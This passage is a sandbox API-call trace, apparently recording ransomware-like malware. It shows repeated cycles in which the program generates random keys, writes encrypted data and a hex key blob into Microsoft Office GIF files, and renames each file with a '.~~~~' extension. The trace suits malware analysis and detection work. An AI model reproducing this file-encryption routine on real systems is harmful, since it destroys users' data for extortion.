	[0128.109] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0128.109] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x38efb8
	[0128.109] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0128.109] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0128.109] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38efb8 | out: hHeap=0x300000) returned 1
	[0128.109] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0128.109] GetLastError () returned 0x0
	[0128.109] GetLastError () returned 0x0
	[0128.109] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0128.110] GetLastError () returned 0x0
	[0128.110] GetLastError () returned 0x0
	[0128.111] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffffffb7, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0128.111] WriteFile (in: hFile=0x13c, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x49, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x24dfec0*=0x49, lpOverlapped=0x0) returned 1
	[0128.114] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0128.114] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0128.114] WriteFile (in: hFile=0x13c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0128.114] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0128.114] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0128.114] CloseHandle (hObject=0x13c) returned 1
	[0128.114] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x38efb8
	[0128.115] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15276_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15276_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15276_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15276_.gif.~~~~")) returned 1
	[0128.118] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38efb8 | out: hHeap=0x300000) returned 1
	[0128.118] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0128.118] GetLastError () returned 0x0
	[0128.118] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x29fe0a8) returned 1
	[0128.119] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0128.119] CryptReleaseContext (hProv=0x29fe0a8, dwFlags=0x0) returned 1
	[0128.119] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0128.120] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0128.120] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0128.120] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24810976591) returned 1
	[0128.120] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb5d1beb0, dwHighDateTime=0x1d60e1e)) 
	[0128.120] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0128.120] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0128.120] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0128.120] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280b138
	[0128.120] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0128.120] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b138 | out: hHeap=0x300000) returned 1
	[0128.120] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0128.120] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0128.120] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x38f060
	[0128.120] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0128.120] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0128.120] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38f060 | out: hHeap=0x300000) returned 1
	[0128.120] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0128.121] GetLastError () returned 0x0
	[0128.121] GetLastError () returned 0x0
	[0128.121] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0128.121] GetLastError () returned 0x0
	[0128.121] GetLastError () returned 0x0
	[0128.123] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffffffc4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0128.123] WriteFile (in: hFile=0x13c, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x3c, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x24dfec0*=0x3c, lpOverlapped=0x0) returned 1
	[0128.125] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0128.125] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0128.125] WriteFile (in: hFile=0x13c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0128.125] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0128.125] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0128.126] CloseHandle (hObject=0x13c) returned 1
	[0128.126] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x38f060
	[0128.126] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15277_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15277_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15277_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15277_.gif.~~~~")) returned 1
	[0128.128] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38f060 | out: hHeap=0x300000) returned 1
	[0128.128] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0128.128] GetLastError () returned 0x0
	[0128.129] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x29fe0a8) returned 1
	[0128.130] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0128.130] CryptReleaseContext (hProv=0x29fe0a8, dwFlags=0x0) returned 1
	[0128.131] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0128.131] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0128.131] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0128.131] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24812088203) returned 1
	[0128.131] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb5d1beb0, dwHighDateTime=0x1d60e1e)) 
	[0128.131] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0128.131] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0128.131] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0128.131] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280b608
	[0128.131] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0128.132] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b608 | out: hHeap=0x300000) returned 1
	[0128.132] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0128.132] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0128.132] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x38f108
	[0128.132] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0128.132] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0128.132] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38f108 | out: hHeap=0x300000) returned 1
	[0128.132] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0128.132] GetLastError () returned 0x0
	[0128.132] GetLastError () returned 0x0
	[0128.132] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0128.133] GetLastError () returned 0x0
	[0128.133] GetLastError () returned 0x0
	[0128.134] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffffff86, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0128.134] WriteFile (in: hFile=0x13c, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x7a, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x24dfec0*=0x7a, lpOverlapped=0x0) returned 1
	[0128.136] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0128.137] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0128.137] WriteFile (in: hFile=0x13c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0128.137] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0128.137] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0128.137] CloseHandle (hObject=0x13c) returned 1
	[0128.137] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x38f108
	[0128.137] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21294_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21294_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21294_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21294_.gif.~~~~")) returned 1
	[0128.140] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38f108 | out: hHeap=0x300000) returned 1
	[0128.140] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0128.140] GetLastError () returned 0x0
	[0128.141] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x29fe0a8) returned 1
	[0128.142] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0128.142] CryptReleaseContext (hProv=0x29fe0a8, dwFlags=0x0) returned 1
	[0128.142] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0128.142] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0128.142] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0128.142] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24813363932) returned 1
	[0128.144] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb5d42010, dwHighDateTime=0x1d60e1e)) 
	[0128.144] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0128.144] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0128.144] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0128.144] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280b640
	[0128.144] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0128.144] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b640 | out: hHeap=0x300000) returned 1
	[0128.144] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0128.144] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0128.144] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x38f1b0
	[0128.144] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0128.144] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0128.145] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38f1b0 | out: hHeap=0x300000) returned 1
	[0128.145] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0128.145] GetLastError () returned 0x0
	[0128.145] GetLastError () returned 0x0
	[0128.145] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0128.145] GetLastError () returned 0x0
	[0128.146] GetLastError () returned 0x0
	[0128.147] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffffff6a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0128.147] WriteFile (in: hFile=0x13c, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x96, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x24dfec0*=0x96, lpOverlapped=0x0) returned 1
	[0128.150] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0128.150] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0128.150] WriteFile (in: hFile=0x13c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0128.150] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0128.150] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0128.150] CloseHandle (hObject=0x13c) returned 1
	[0128.151] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x38f1b0
	[0128.151] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21295_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21295_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21295_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21295_.gif.~~~~")) returned 1
	[0128.153] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38f1b0 | out: hHeap=0x300000) returned 1
	[0128.153] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0128.153] GetLastError () returned 0x0
	[0128.154] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x29fe0a8) returned 1
	[0128.155] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0128.155] CryptReleaseContext (hProv=0x29fe0a8, dwFlags=0x0) returned 1
	[0128.156] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0128.156] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0128.156] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0128.156] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24814588559) returned 1
	[0128.156] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb5d68170, dwHighDateTime=0x1d60e1e)) 
	[0128.156] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0128.156] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0128.156] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0128.156] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3cce08
	[0128.156] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0128.156] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cce08 | out: hHeap=0x300000) returned 1
	[0128.156] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0128.156] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0128.156] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f4af0
	[0128.157] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0128.157] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0128.157] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4af0 | out: hHeap=0x300000) returned 1
	[0128.157] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0128.157] GetLastError () returned 0x0
	[0128.157] GetLastError () returned 0x0
	[0128.157] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0128.157] GetLastError () returned 0x0
	[0128.158] GetLastError () returned 0x0
	[0128.160] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffffff6c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0128.160] WriteFile (in: hFile=0x13c, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x94, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x24dfec0*=0x94, lpOverlapped=0x0) returned 1
	[0128.161] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0128.162] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0128.162] WriteFile (in: hFile=0x13c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0128.162] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0128.162] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0128.162] CloseHandle (hObject=0x13c) returned 1
	[0128.162] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f4af0
	[0128.162] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21296_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21296_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21296_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21296_.gif.~~~~")) returned 1
	[0128.165] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4af0 | out: hHeap=0x300000) returned 1
	[0128.165] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0128.165] GetLastError () returned 0x0
	[0128.166] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x29fe0a8) returned 1
	[0128.167] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0128.167] CryptReleaseContext (hProv=0x29fe0a8, dwFlags=0x0) returned 1
	[0128.167] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0128.167] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0128.167] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0128.167] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24815741944) returned 1
	[0128.167] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb5d8e2d0, dwHighDateTime=0x1d60e1e)) 
	[0128.167] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0128.168] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
